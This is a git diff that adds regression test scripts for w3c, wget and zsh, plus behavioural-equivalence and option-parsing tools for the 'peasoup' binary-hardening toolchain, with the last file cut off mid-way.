diff --git a/peasoup_examples/tests/w3c/data/data.txt b/peasoup_examples/tests/w3c/data/data.txt
new file mode 100644
index 0000000000000000000000000000000000000000..9c8806a0e9e7c67f6f10c077af87815a17c0b31a
--- /dev/null
+++ b/peasoup_examples/tests/w3c/data/data.txt
@@ -0,0 +1 @@
+hello, some sample text
diff --git a/peasoup_examples/tests/w3c/test_script.sh b/peasoup_examples/tests/w3c/test_script.sh
new file mode 100755
index 0000000000000000000000000000000000000000..b834cf4843f6f5c7f09200ca019307f10434378a
--- /dev/null
+++ b/peasoup_examples/tests/w3c/test_script.sh
@@ -0,0 +1,149 @@
+#!/bin/bash
+#Everyone must point to the manual test library
+TEST_LIB=$PEASOUP_HOME/tests/manual_test_lib.sh
+
+LOG_DIR=foobar
+
+#for w3c, I use some data files, so I set up variables pointing to that location
+TEST_DIR=$PEASOUP_HOME/tests/w3c
+DATA_DIR=$TEST_DIR/data
+
+#used for filtering program names from output.
+ORIG_NAME=w3c
+
+CLEANUP_FILES="w3c.out w3c.1.out w3c.2.out w3c.log"
+DELETE_FILTER="Date:|0x|socket|secs|seconds|maxsock|maxfds|hash value is [0-9]+|write|read|event|oob|DUMMY"
+
+#must import the library here, as it depends on some of the above variables
+. $TEST_LIB
+
+#run_basic_test will run both the modified program and original program using the same arguments. The first argument ot run_basic_test is the timeout value (in seconds) followed by the arguments for the programs. run_basic_test also does comparisons of stdout, stderr, and the exit status, and only does comparisons and uses timeout when the -i flag is not set. See the library for more details. 
+
+pwd
+echo "TEST_PROG: $TEST_PROG"
+
+# comparing stdout directly is tricky a w3c can print out %completion for the output directly on stdout or stderr (this can easily confuse a straight comparison of stdout/stderr between the test and benchmark programs)
+# to avoid this problem we specify -n (non-interactive mode)
+#run_basic_test 45 
+#run_basic_test 45 -help 
+#run_basic_test 45 -version
+run_basic_test 45 -z 
+
+echo "aaa"
+run_basic_test 30
+#run_test_prog_only 10
+#grep -i "libwww" test_out 
+#if [ ! $? -eq 0 ]; then
+#	report_failure
+#fi
+
+#Anh, your help test is problematic, I tried running basic test on it
+#but the test will periodically fail. I am removing the test for now. 
+#echo "bbb"
+#run_basic_test 10 -help
+#run_test_prog_only 10 -help
+#grep -i "libwww" test_out 
+#if [ ! $? -eq 0 ]; then
+#	report_failure
+#fi
+
+echo "ccc"
+run_basic_test 30 -version
+#run_test_prog_only 10 -version
+#grep -i "libwww" test_out
+#if [ ! $? -eq 0 ]; then
+#	report_failure
+#fi
+
+run_basic_test 45 -maxforwards 2 -single -n http://127.0.0.1:1235/index.html
+run_basic_test 45 -single -n http://127.0.0.1:7333
+
+run_basic_test 45 -head -single -n http://127.0.0.1:7333
+
+run_test_prog_only 45 -o w3c.1.out -single -n http://127.0.0.1:1235/index.html
+run_bench_prog_only 45 -o w3c.2.out -single -n http://127.0.0.1:1235/index.html
+diff w3c.1.out w3c.2.out
+if [ ! $? -eq 0 ]; then
+	report_failure
+fi
+cleanup
+
+#run_test_prog_only 45 -o w3c.1.out -single -n http://127.0.0.1:1235/index.html
+#run_bench_prog_only 45 -o w3c.2.out -single -n http://127.0.0.1:1235/index.html
+#diff w3c.1.out w3c.2.out
+#if [ ! $? -eq 0 ]; then
+#	report_failure
+#fi
+
+run_test_prog_only 45 -o w3c.1.out -timeout 30 http://127.0.0.1:1235/index.html 
+run_bench_prog_only 45 -o w3c.2.out -timeout 30 http://127.0.0.1:1235/index.html
+compare_std_results
+diff w3c.1.out w3c.2.out
+if [ ! $? -eq 0 ]; then
+	report_failure
+fi
+cleanup
+
+run_basic_test  45 -timeout 30 -get http://127.0.0.1:1235/index.html 
+#grep -i "peasoup" test_out
+#if [ ! $? -eq 0 ]; then
+#	report_failure
+#fi
+
+# -source
+run_basic_test 45 -timeout 30 -source -single -n http://127.0.0.1:1235/index.html 
+#grep -i "peasoup" test_out
+#if [ ! $? -eq 0 ]; then
+#	report_failure
+#fi
+
+# exercise all the verbose flags
+#run_test_prog_only 45 -n -vabcgpstu http://127.0.0.1:1235 
+#grep -i "HTanchor" test_error
+#if [ ! $? -eq 0 ]; then
+#	report_failure
+#fi
+
+run_basic_test 45 -n -vabcgpstu http://127.0.0.1:1235 
+
+run_basic_test 45 -n -vbpstu http://127.0.0.1:1235 
+#run_test_prog_only 45 -n -vbpstu http://127.0.0.1:1235 
+#grep -i "channel" test_error
+#if [ ! $? -eq 0 ]; then
+#	report_failure
+#fi
+
+# -options
+run_basic_test 45 -n -single -options http://127.0.0.1:1235
+
+
+# just run this one to exercise code path
+run_basic_test 45 -n -put $DATA_DIR/data.txt -dest http://127.0.0.1:1235/testing/
+run_basic_test 45 -n -auth user:password@realm http://127.0.0.1:1235/peasoup.auth 
+run_basic_test 45 -n -delete http://127.0.0.1:1235/peasoup.auth/doesnotexist.html 
+run_basic_test 45 -post http://127.0.0.1:1235/testing/index.html -form "RECORD=ID" "COL1=a" "COL2=b" "COL3=c" "COL4=d"
+run_basic_test 45 -r $DATA_DIR/bogus.conf http://127.0.0.1:1235/testing/index.html 
+
+
+#cat $DATA_DIR/data1.txt | run_test_prog_only 45  -i FOX
+#cat $DATA_DIR/data1.txt | run_bench_prog_only 45  -i FOX
+#compare_std_results
+
+run_basic_test 45 -to www/source -single -n http://127.0.0.1:1235/index.html
+run_basic_test 45 -to www/mime -single -n http://127.0.0.1:1235/index.html 
+
+#NOTE: piping appears to be broken for the manual test lib, removing for now
+#run_basic_test 45 -cl http://127.0.0.1:1235/index.html  | grep -i content
+
+run_basic_test 45  -l w3c.log http://127.0.0.1:1235/index.html 
+
+#run_test_prog_only 45 -l w3c.log http://127.0.0.1:1235/index.html 
+#grep -i 1235 w3c.log
+#if [ ! $? -eq 0 ]; then
+#	report_failure
+#fi
+
+
+cleanup
+
+report_success
diff --git a/peasoup_examples/tests/wget/test_script.sh b/peasoup_examples/tests/wget/test_script.sh
new file mode 100755
index 0000000000000000000000000000000000000000..086bb267dbc93c6d50765c3b6c9a45a91d83d8d9
--- /dev/null
+++ b/peasoup_examples/tests/wget/test_script.sh
@@ -0,0 +1,164 @@
+#!/bin/bash
+#Everyone must point to the manual test library
+TEST_LIB=$PEASOUP_HOME/tests/manual_test_lib.sh
+
+#!/bin/bash
+#Everyone must point to the manual test library
+TEST_LIB=$PEASOUP_HOME/tests/manual_test_lib.sh
+
+#for bzip, I use some data files, so I set up variables pointing to that location
+TEST_DIR=$PEASOUP_HOME/tests/wget
+DATA_DIR=$TEST_DIR/data 
+THROW_AWAY_DIR=$DATA_DIR/throw_away
+CLEANUP_FILES="$THROW_AWAY_DIR/* wget-log* index.html*"
+ORIG_NAME="wget"
+#LOG_DIR=$TEST_DIR/log
+
+#rm -rf $LOG_DIR
+#mkdir $LOG_DIR
+
+CURRENT_DIR=`pwd`
+
+PORT_NUM=1235
+
+#used to detele lins matching one of the following strings (delimited by |
+DELETE_FILTER="%|[0-9]{4}-[0-9]{2}-[0-9]{2}|=[0-9]|hello.1|hello.2|stonesoup|gcc|lib|DUMMY|exec"
+
+#must import the library here, as it depends on some of the above variables
+. $TEST_LIB
+
+cleanup
+
+run_basic_test 30  --help
+run_basic_test 30 --version
+run_basic_test 30
+
+#basic functionality test
+run_test_prog_only 30 127.0.0.1:$PORT_NUM/hello_world.txt
+mv $CURRENT_DIR/hello_world.txt $THROW_AWAY_DIR/hello.1
+run_bench_prog_only 30 127.0.0.1:$PORT_NUM/hello_world.txt 
+mv $CURRENT_DIR/hello_world.txt $THROW_AWAY_DIR/hello.2
+compare_std_results
+compare_files_no_filtering $THROW_AWAY_DIR/hello.1 $THROW_AWAY_DIR/hello.2
+cleanup
+
+#-O IP test
+run_test_prog_only 30 -O $THROW_AWAY_DIR/hello.1 127.0.0.1:$PORT_NUM/hello_world.txt
+run_bench_prog_only 30 -O $THROW_AWAY_DIR/hello.2 127.0.0.1:$PORT_NUM/hello_world.txt 
+compare_std_results
+compare_files_no_filtering $THROW_AWAY_DIR/hello.1 $THROW_AWAY_DIR/hello.2
+cleanup
+
+#-O HTTP test
+run_test_prog_only 30 -O $THROW_AWAY_DIR/hello.1 http://localhost:$PORT_NUM/hello_world.txt
+run_bench_prog_only 30 -O $THROW_AWAY_DIR/hello.2 http://localhost:$PORT_NUM/hello_world.txt 
+compare_std_results
+compare_files_no_filtering $THROW_AWAY_DIR/hello.1 $THROW_AWAY_DIR/hello.2
+cleanup
+
+#-O --no-content-disposition test
+run_test_prog_only 30 --no-content-disposition -O $THROW_AWAY_DIR/hello.1 http://localhost:$PORT_NUM/hello_world.txt
+run_bench_prog_only 30 --no-content-disposition -O $THROW_AWAY_DIR/hello.2 http://localhost:$PORT_NUM/hello_world.txt 
+compare_std_results
+compare_files_no_filtering $THROW_AWAY_DIR/hello.1 $THROW_AWAY_DIR/hello.2
+cleanup
+
+#bad server test
+run_basic_test 15 666.666.666.666/hello_world.txt
+
+#bad command test
+run_basic_test 15 -lakdjfalkj4 127.0.0.1:1235/hello_world.txt
+
+#no file test
+run_basic_test 15 127.0.0.1:1235/does_not_exist
+#quite no file test
+run_basic_test 15 --quiet 127.0.0.1:1235/does_not_exist
+
+#no file -O test
+run_test_prog_only 20 -O $THROW_AWAY_DIR/dummy.1 127.0.0.1:$PORT_NUM/does_not_exist
+run_bench_prog_only 20 -O $THROW_AWAY_DIR/dummy.2 127.0.0.1:$PORT_NUM/does_not_exist
+compare_std_results
+touch $THROW_AWAY_DIR/dummy.2
+touch $THROW_AWAY_DIR/dummy.1
+compare_files_no_filtering $THROW_AWAY_DIR/dummy.1 $THROW_AWAY_DIR/dummy.2
+cleanup
+
+#noop test
+run_test_prog_only 30 127.0.0.1:$PORT_NUM/
+mv index.html $THROW_AWAY_DIR/index.html.1
+run_bench_prog_only 30 127.0.0.1:$PORT_NUM/
+mv index.html $THROW_AWAY_DIR/index.html.2
+compare_std_results
+compare_files_no_filtering $THROW_AWAY_DIR/index.html.1 $THROW_AWAY_DIR/index.html.2
+cleanup
+
+
+#Multi test, -O, no-cache, no-cookies, ignore-length, -E,
+run_test_prog_only 45 -O $THROW_AWAY_DIR/hello.1 -E --no-cache --no-cookies --ignore-length http://localhost:$PORT_NUM/
+run_bench_prog_only 45 -O $THROW_AWAY_DIR/hello.2 -E --no-cache --no-cookies --ignore-length http://localhost:$PORT_NUM/ 
+compare_std_results
+compare_files_no_filtering $THROW_AWAY_DIR/hello.1 $THROW_AWAY_DIR/hello.2
+cleanup
+
+#default-name test
+run_test_prog_only 45 --default-page=hello_world.txt http://localhost:$PORT_NUM/
+mv hello_world.txt $THROW_AWAY_DIR/index.html.1
+run_bench_prog_only 45 --default-page=hello_world.txt http://localhost:$PORT_NUM/ 
+mv hello_world.txt $THROW_AWAY_DIR/index.html.2
+compare_std_results
+compare_files_no_filtering $THROW_AWAY_DIR/index.html.1 $THROW_AWAY_DIR/index.html.2
+cleanup
+
+#prefix test, -P (prefix, i.e., where the file will be stored) and no clobber test
+touch $THROW_AWAY_DIR/hello_world.txt
+run_test_prog_only 45 -P $THROW_AWAY_DIR -nc  http://localhost:$PORT_NUM/hello_world.txt
+touch $THROW_AWAY_DIR/hello_world.txt
+run_bench_prog_only 45 -P $THROW_AWAY_DIR -nc  http://localhost:$PORT_NUM/hello_world.txt
+compare_std_results
+cleanup
+
+#-c test (partial file test)
+rm -f $CURRENT_DIR/hello_world.txt
+echo "Hell" >$CURRENT_DIR/hello_world.txt
+run_test_prog_only 45 -c http://localhost:$PORT_NUM/hello_world.txt
+mv $CURRENT_DIR/hello_world.txt $THROW_AWAY_DIR/hello.1
+
+rm -f $CURRENT_DIR/hello_world.txt
+echo "Hell" >$CURRENT_DIR/hello_world.txt
+run_bench_prog_only 45 -c http://localhost:$PORT_NUM/hello_world.txt
+mv $CURRENT_DIR/hello_world.txt $THROW_AWAY_DIR/hello.2
+compare_std_results
+compare_files_no_filtering $THROW_AWAY_DIR/hello.1 $THROW_AWAY_DIR/hello.2
+cleanup
+
+#-c test (non-partial file test)
+echo "Hello World." >$THROW_AWAY_DIR/hello_world.txt
+run_test_prog_only 45 -P $THROW_AWAY_DIR -c http://localhost:$PORT_NUM/hello_world.txt
+run_bench_prog_only 45 -P $THROW_AWAY_DIR -c http://localhost:$PORT_NUM/hello_world.txt
+compare_std_results
+cleanup
+
+#authenticaiton test
+echo "Hello World." >$THROW_AWAY_DIR/hello_world.txt
+run_test_prog_only 45 -P $THROW_AWAY_DIR -c http://localhost:$PORT_NUM/hello_world.txt
+run_bench_prog_only 45 -P $THROW_AWAY_DIR -c http://localhost:$PORT_NUM/hello_world.txt
+compare_std_results
+cleanup
+
+#authentication test
+run_test_prog_only 45 -P $THROW_AWAY_DIR --user=guest --password=password  http://localhost:$PORT_NUM/peasoup.auth/hello_world.txt
+mv $THROW_AWAY_DIR/hello_world.txt $THROW_AWAY_DIR/hello.1
+run_bench_prog_only 45 -P $THROW_AWAY_DIR --user=guest --password=password http://localhost:$PORT_NUM/peasoup.auth/hello_world.txt
+mv $THROW_AWAY_DIR/hello_world.txt $THROW_AWAY_DIR/hello.2
+compare_std_results
+compare_files_no_filtering $THROW_AWAY_DIR/hello.1 $THROW_AWAY_DIR/hello.2
+cleanup
+
+#bad authentication test
+run_test_prog_only 20 -P $THROW_AWAY_DIR --user=guest --password=bad_password  http://localhost:$PORT_NUM/peasoup.auth/hello_world.txt
+run_bench_prog_only 20 -P $THROW_AWAY_DIR --user=guest --password=bad_password http://localhost:$PORT_NUM/peasoup.auth/hello_world.txt
+compare_std_results
+cleanup
+
+
+report_success
diff --git a/peasoup_examples/tests/zsh/test_script.sh b/peasoup_examples/tests/zsh/test_script.sh
new file mode 100755
index 0000000000000000000000000000000000000000..49bcf4265b7e7c2679afc0b63152042a668a379f
--- /dev/null
+++ b/peasoup_examples/tests/zsh/test_script.sh
@@ -0,0 +1,34 @@
+#!/bin/bash   
+TEST_LIB=$PEASOUP_HOME/tests/manual_test_lib.sh
+
+#used for filtering program names from output.
+ORIG_NAME=zsh
+
+#must import the library here, as it depends on some of the above variables
+. $TEST_LIB
+
+export TEST_DIR=$PEASOUP_HOME/tests/zsh
+
+# print help and version 
+#run_basic_test 20 --help
+#run_basic_test 20 --version
+
+# touch a tmp file
+#rm -f tmp
+run_basic_test 20 -c '/usr/bin/touch tmp'
+rm -f tmp
+run_basic_test 20 -c 'touch tmp'
+rm -f tmp
+
+run_basic_test 20 -c 'echo hello'
+run_basic_test 20 -c 'hello() { echo hello }; hello'
+run_basic_test 20 -c 'hello() { echo $* }; hello bob'
+
+run_basic_test 10 $TEST_DIR/tests/test1.sh
+run_basic_test 10 $TEST_DIR/tests/test2.sh
+run_basic_test 10 $TEST_DIR/tests/test3.sh
+run_basic_test 10 $TEST_DIR/tests/test4.sh
+run_basic_test 10 $TEST_DIR/tests/test5.sh
+run_basic_test 10 $TEST_DIR/tests/test5.sh bobby
+
+report_success
diff --git a/peasoup_examples/tests/zsh/tests/test1.sh b/peasoup_examples/tests/zsh/tests/test1.sh
new file mode 100755
index 0000000000000000000000000000000000000000..246bd04a2eeda2900de45732ecb918d4639eb169
--- /dev/null
+++ b/peasoup_examples/tests/zsh/tests/test1.sh
@@ -0,0 +1,3 @@
+
+builtin print "Hello World!" && exit
+
diff --git a/peasoup_examples/tests/zsh/tests/test2.sh b/peasoup_examples/tests/zsh/tests/test2.sh
new file mode 100755
index 0000000000000000000000000000000000000000..c7714605cf7d8ca818cb87fa9b76da7b8a35940e
--- /dev/null
+++ b/peasoup_examples/tests/zsh/tests/test2.sh
@@ -0,0 +1,3 @@
+
+## comments!
+
diff --git a/peasoup_examples/tests/zsh/tests/test3.sh b/peasoup_examples/tests/zsh/tests/test3.sh
new file mode 100755
index 0000000000000000000000000000000000000000..be9ef13d9fed15f95a1b96e5de5b592777d5f450
--- /dev/null
+++ b/peasoup_examples/tests/zsh/tests/test3.sh
@@ -0,0 +1,7 @@
+#!/bin/zsh -x
+
+echo abcd
+echo '\t\n'
+echo "hello there\nhow're you?"
+
+
diff --git a/peasoup_examples/tests/zsh/tests/test4.sh b/peasoup_examples/tests/zsh/tests/test4.sh
new file mode 100755
index 0000000000000000000000000000000000000000..b08cc00761d12526310cabc4922b06ffc99c0b43
--- /dev/null
+++ b/peasoup_examples/tests/zsh/tests/test4.sh
@@ -0,0 +1,15 @@
+#!/bin/zsh
+
+echo td=$TEST_DIR
+
+while read j
+do
+    echo $j
+done < ${TEST_DIR}/tests/test2.sh
+
+while read j
+do
+    echo $j
+done < ${TEST_DIR}/tests/../tests/test2.sh
+
+
diff --git a/peasoup_examples/tests/zsh/tests/test5.sh b/peasoup_examples/tests/zsh/tests/test5.sh
new file mode 100755
index 0000000000000000000000000000000000000000..a37d3de2a3a2b15fe8444a78edcfea640bbcb37b
--- /dev/null
+++ b/peasoup_examples/tests/zsh/tests/test5.sh
@@ -0,0 +1,20 @@
+#!/bin/zsh
+
+
+hello()
+{
+	echo hello
+	echo what\'s up, duc
+	echo $*
+}
+
+echo $*
+hello bob
+
+while [ true ]; 
+do
+
+	hello $*
+	break;
+
+done
diff --git a/peasoup_examples/tests/zsh/tests/test6.sh b/peasoup_examples/tests/zsh/tests/test6.sh
new file mode 100755
index 0000000000000000000000000000000000000000..89676315e9885c645b323c35a33a6cf594f36db2
--- /dev/null
+++ b/peasoup_examples/tests/zsh/tests/test6.sh
@@ -0,0 +1,84 @@
+
+parse_options()
+{
+    o_port=(-p 9999)
+    o_root=(-r WWW)
+    o_log=(-d ZWS.log)
+
+    zparseopts -K -- p:=o_port r:=o_root l:=o_log h=o_help
+    if [[ $? != 0 || "$o_help" != "" ]]; then
+        echo Usage: $(basename "$0") "[-p PORT] [-r DIRECTORY]"
+        exit 1
+    fi
+
+    port=$o_port[2]
+    root=$o_root[2]
+    log=$o_log[2]
+
+    if [[ $root[1] != '/' ]]; then root="$PWD/$root"; fi
+}
+# now use the function:
+parse_options $*
+
+alias -g ...='../..'
+alias -g ....='../../..'
+alias -g .....='../../../..'
+alias -g CA="2>&1 | cat -A"
+alias -g C='| wc -l'
+alias -g D="DISPLAY=:0.0"
+alias -g DN=/dev/null
+alias -g ED="export DISPLAY=:0.0"
+alias -g EG='|& egrep'
+alias -g EH='|& head'
+alias -g EL='|& less'
+alias -g ELS='|& less -S'
+alias -g ETL='|& tail -20'
+alias -g ET='|& tail'
+alias -g F=' | fmt -'
+alias -g G='| egrep'
+alias -g H='| head'
+alias -g HL='|& head -20'
+alias -g Sk="*~(*.bz2|*.gz|*.tgz|*.zip|*.z)"
+alias -g LL="2>&1 | less"
+alias -g L="| less"
+alias -g LS='| less -S'
+alias -g MM='| most'
+alias -g M='| more'
+alias -g NE="2> /dev/null"
+alias -g NS='| sort -n'
+alias -g NUL="> /dev/null 2>&1"
+alias -g PIPE='|'
+alias -g R=' > /c/aaa/tee.txt '
+alias -g RNS='| sort -nr'
+alias -g S='| sort'
+alias -g TL='| tail -20'
+alias -g T='| tail'
+alias -g US='| sort -u'
+alias -g VM=/var/log/messages
+alias -g X0G='| xargs -0 egrep'
+alias -g X0='| xargs -0'
+alias -g XG='| xargs egrep'
+alias -g X='| xargs'
+
+rationalise-dot() {
+  if [[ $LBUFFER = *.. ]]; then
+    LBUFFER+=/..
+  else
+    LBUFFER+=.
+  fi
+}
+zle -N rationalise-dot
+bindkey . rationalise-dot
+
+
+
+echo bob > /dev/null
+echo bob >> /dev/null
+
+cat /dev/null|head -3 > /dev/null
+
+eval expr 3 + 2
+
+echo $X
+
+
diff --git a/peasoup_examples/tools/add_ifunc_attr.sh b/peasoup_examples/tools/add_ifunc_attr.sh
new file mode 100755
index 0000000000000000000000000000000000000000..1125b33d76d1bef7d87f1977b278123978c26f1b
--- /dev/null
+++ b/peasoup_examples/tools/add_ifunc_attr.sh
@@ -0,0 +1,10 @@
+#!/bin/sh
+
+infile=$1
+annotfile=$2
+
+for ifunc in `$PS_NM  $infile|grep " i "|cut -f3 -d" "`
+do
+	cat $annotfile|sed "s/ FUNC GLOBAL $ifunc / FUNC GLOBAL $ifunc IFUNC /" > $annotfile.tmp.$$
+	mv $annotfile.tmp.$$ $annotfile
+done
diff --git a/peasoup_examples/tools/bed.sh b/peasoup_examples/tools/bed.sh
new file mode 100755
index 0000000000000000000000000000000000000000..6fae5216918dd2b567ecadd5b3160319e4a6c8f5
--- /dev/null
+++ b/peasoup_examples/tools/bed.sh
@@ -0,0 +1,78 @@
+#!/bin/sh
+
+# BED script to run both manual and conclic tests
+
+TOP_LEVEL=`pwd`
+ORIG_PROGRAM=$TOP_LEVEL/a.ncexe
+MANUAL_TEST_SCRIPT=$TOP_LEVEL/manual_test_wrapper
+CONCOLIC=$TOP_LEVEL/concolic.files_a.stratafied_0001
+
+variantid=$1
+aspri=$2
+bspri=$3
+
+P1_DIR=p1.xform/$fname
+
+#no point in continuing if we have no tests
+if [ ! -d "$CONCOLIC" -a ! -f "$MANUAL_TEST_SCRIPT" ]; then
+	echo "No manual or concolic tests, BED returning success"
+	exit 0
+fi
+
+#generate the bspri code
+echo "Generating bspri"
+$SECURITY_TRANSFORMS_HOME/bin/spasm $aspri $bspri $TOP_LEVEL/a.ncexe $TOP_LEVEL/stratafier.o.exe $TOP_LEVEL/libstrata.so.symbols
+status=$?
+if [ ! $status -eq 0 ]; then
+  echo "BED: spasm error -- spasm exited with non-zero status ($status)"
+  exit 3
+
+  #I am not sure this condition can happen anymore if spasm doesn't fail, but
+  #to keep this code backward compatible I am including this extra check
+  elif [ ! -f $bspri ]; then
+	echo "BED: spasm error -- no bspri file produced"
+	exit 2
+fi
+
+echo "Generating fbspri"
+$PEASOUP_HOME/tools/fast_spri.sh $bspri $TOP_LEVEL/a.irdb.fbspri
+
+NAME=`cat new_command_name`
+TRANSFORMED_PROGRAM="$TOP_LEVEL/$NAME"
+
+echo "Generating hashes"
+$STRATA_HOME/tools/preLoaded_ILR/generate_hashfiles.exe $TOP_LEVEL/a.irdb.fbspri
+$PEASOUP_HOME/tools/generate_relocfile.sh $TOP_LEVEL/a.irdb.fbspri
+
+#only do the manual tests if the manual_test_wrapper script exists
+if [ -f $MANUAL_TEST_SCRIPT ]; then
+	echo "Running manual tests: $MANUAL_TEST_SCRIPT $TRANSFORMED_PROGRAM $ORIG_PROGRAM"
+	eval $MANUAL_TEST_SCRIPT $TRANSFORMED_PROGRAM $ORIG_PROGRAM
+	status=$?
+
+	if [ $status -eq 0 ]; then
+		echo "Manual test script success"
+	else
+		echo "Manual test script failure"
+		exit $status
+	fi
+
+	
+fi
+
+#only do concolic tests if the concolic directory was created. 
+if [ -d $CONCOLIC ]; then
+	echo "Running concolic tests: ps_validate.sh $TOP_LEVEL/a.stratafied $TOP_LEVEL/a.irdb.fbspri $CONCOLIC >ps_validate.out 2>ps_validate.err"
+	$PEASOUP_HOME/tools/ps_validate.sh  $TOP_LEVEL/a.stratafied $TOP_LEVEL/a.irdb.fbspri $CONCOLIC >ps_validate.out 2>ps_validate.err
+	status=$?
+	if [ $status -eq 0 ]; then
+		echo "Concolic test success"
+	else
+		echo "Conclic test failure"
+		exit $status
+	fi
+fi
+
+echo "BED TEST SUCCESS"
+
+exit 0
diff --git a/peasoup_examples/tools/bed_blackbox.sh b/peasoup_examples/tools/bed_blackbox.sh
new file mode 100755
index 0000000000000000000000000000000000000000..e09b4a4cd4b11609eeb63ab5c810c72048d1fd69
--- /dev/null
+++ b/peasoup_examples/tools/bed_blackbox.sh
@@ -0,0 +1,47 @@
+#!/bin/sh
+
+#
+# BED: Behavioral Equivalence Detector
+#
+# Usage: bed_manual.sh <variantID> <ASPRI_file> <BSPRI_file>
+#
+# Use user-specified input/output pair 
+# 
+# Assumptions:
+#    (1) we are in the Peasoup sub-directory created by ps_analyze.sh
+#    (2) there exists a file "new_command_name" whose content is the basename of the peasoupified target binary
+#
+
+PEASOUP_DIR=`pwd`
+ORIG_BINARY=$PEASOUP_DIR/a.ncexe
+
+variantid=$1
+aspri=$2
+bspri=$3
+
+SCRIPT_NAME=$PEASOUP_DIR/manual_test_wrapper
+
+# generate the bspri code
+$SECURITY_TRANSFORMS_HOME/bin/spasm/spasm $aspri $bspri $PEASOUP_DIR/a.ncexe $PEASOUP_DIR/stratafier.o.exe $PEASOUP_DIR/libstrata.so.symbols 
+if [ ! $? -eq 0 ]; then
+  echo "BED: spasm error -- exiting"
+  exit 1
+fi
+
+# toolchain expects a BSPRI file at this location
+$PEASOUP_HOME/tools/fast_spri.sh $bspri $PEASOUP_DIR/a.irdb.fbspri
+
+NAME=`cat new_command_name`
+TRANSFORMED_PROGRAM="$PEASOUP_DIR/$NAME"
+
+# invoke the user-supplied test script
+# pass as argument the transformed program
+echo "blackbox BED: Invoking: $SCRIPT_NAME $TRANSFORMED_PROGRAM"
+#We mandate that a manual test must take the modified program and the original as input
+eval $SCRIPT_NAME $TRANSFORMED_PROGRAM $ORIG_BINARY
+status=$? 
+
+cd $PEASOUP_DIR
+
+echo "blackbox BED: Done with: $SCRIPT_NAME $TRANSFORMED_PROGRAM: status: $status"
+exit $status
diff --git a/peasoup_examples/tools/bed_manual.sh b/peasoup_examples/tools/bed_manual.sh
new file mode 100755
index 0000000000000000000000000000000000000000..40e69a8bb523c0a3f82dc8186d26e64e643898d5
--- /dev/null
+++ b/peasoup_examples/tools/bed_manual.sh
@@ -0,0 +1,52 @@
+#!/bin/sh
+
+#
+# BED: Behavioral Equivalence Detector
+#
+# Usage: bed_manual.sh <variantID> <ASPRI_file> <BSPRI_file>
+#
+# Use user-specified input/output pair 
+# Assume we are in the Peasoup sub-directory created by ps_analyze.sh
+#
+
+
+PEASOUP_DIR=`pwd`
+MANUAL_TEST_DIR=$PEASOUP_DIR/manual_tests
+
+variantid=$1
+aspri=$2
+bspri=$3
+
+# generate the bspri code
+$SECURITY_TRANSFORMS_HOME/bin/spasm $aspri $bspri $PEASOUP_DIR/a.ncexe $PEASOUP_DIR/stratafier.o.exe $PEASOUP_DIR/libstrata.so.symbols
+if [ ! $? -eq 0 ]; then
+  echo "BED: spasm error -- exiting"
+  exit 1
+fi
+
+ls $MANUAL_TEST_DIR/* >/dev/null 2>/dev/null
+if [ ! $? -eq 0 ]; then
+  echo "BED: error: no manual test specifications found -- exiting"
+  exit 1
+fi
+
+#for i in `ls | grep "test.*" | grep -v ".sh"`
+for i in `ls $MANUAL_TEST_DIR`
+do
+  echo "running test with cmd: $PEASOUP_HOME/tools/run_one_test.sh $MANUAL_TEST_DIR/$i $bspri"
+  $PEASOUP_HOME/tools/run_one_test.sh $MANUAL_TEST_DIR/$i $bspri
+  status=$?
+  if [ ! $status -eq 0 ]; then
+    echo "BED says: test $i failed"
+    exit $status
+  else
+    echo "BED says: test $i passed"
+  fi
+done
+
+echo "BED says: all tests passed: copyping $bspri into $PEASOUP_DIR"
+
+# copy bspri file
+cp $bspri $PEASOUP_DIR
+
+exit 0
diff --git a/peasoup_examples/tools/cfar.sh b/peasoup_examples/tools/cfar.sh
new file mode 100755
index 0000000000000000000000000000000000000000..43244b8ae8f9c8842f88488aeb44e828eaa3f492
--- /dev/null
+++ b/peasoup_examples/tools/cfar.sh
@@ -0,0 +1,294 @@
+#!/bin/bash
+
+source $(dirname $0)/ps_wrapper.source $0
+
+is_so()
+{
+	file $1 | egrep "LSB *shared object" > /dev/null
+
+	if [ $? = 0 ]; then
+		echo 1
+	else
+		echo 0
+	fi
+}
+
+
+# parse first 3 parameters as fixed position params.
+variants=$1
+in=$2
+in_base=`basename $in`
+out=$3
+shift
+shift
+shift
+
+
+structured_heap=0
+structured_p1_canaries=0
+structured_stack_stamp=0
+structured_noc=0
+structured_nog=0
+structured_nos=0
+structured_ds=0
+structured_stack_init=0   # auto stack initialize
+assurance_case_evidence=1 	# for gathering assurance case evidence
+config_name="unspecified"
+backend="strata"
+
+cmd_line_options=( "$@" )
+declare -a new_cmd_line_options
+
+max="${#cmd_line_options[@]}"
+seq=0
+
+#
+# Parse out options for peasoup and learn some things, err on some things that cfar isn't (yet) supporting.
+#
+while [ $seq -lt $max ]; 
+do
+	i=${cmd_line_options[$seq]}
+	# this option is for cfar, handle it and remove it from the ps_analyze arguments.
+	if [ "$i" == "--structured_p1_canaries" ]; then 	
+		structured_p1_canaries=1
+	elif [ "$i" == "--structured_heap" ]; then 	
+		structured_heap=1
+	elif [ "$i" == "--structured_stack_stamp" ]; then 	
+		structured_stack_stamp=1
+	# this option is for cfar, handle it and remove it from the ps_analyze arguments.
+	elif [ "$i" == "--structured_noc" ]; then 	
+		structured_noc=1
+	# this option is for cfar, handle it and remove it from the ps_analyze arguments.
+	elif [ "$i" == "--structured_nog" ]; then 	
+		structured_nog=1
+	# this option is for cfar, handle it and remove it from the ps_analyze arguments.
+	elif [ "$i" == "--structured_nos" ]; then 	
+		structured_nos=1
+	# this option is for cfar, handle it and remove it from the ps_analyze arguments.
+	elif [ "$i" == "--structured_ds" ]; then 	
+		structured_ds=1
+	elif [ "$i" == "--structured_stack_init" ]; then 	
+		structured_stack_init=1
+	# this option is for cfar, handle it and remove it from the ps_analyze arguments.
+	elif [ "$i" == "--config_name" ]; then 	
+		seq=$(expr $seq + 1)
+		config_name=${cmd_line_options[$seq]}
+		echo -n "	"
+		echo "Found config_name setting, config=$config_name"
+	# this option is used by cfar, and the user cannot request it.
+	elif [ "$i" == "--tempdir" ]; then 	
+		echo "cfar.sh cannot accept --tempdir as it uses it internally."
+		exit 1
+	# monitor the backend specified by the user, and remember it, but do pass ita long.
+	elif [ "$i" == "--backend" ]; then 	
+		# include this in the ps_analyze options.
+		new_cmd_line_options+=("$i")
+		if [ ${cmd_line_options[$(expr $seq + 1)]} = "zipr" ];  then
+			backend="zipr"
+		elif [ ${cmd_line_options[$(expr $seq + 1)]} = "strata" ];  then
+			backend="strata"
+		else
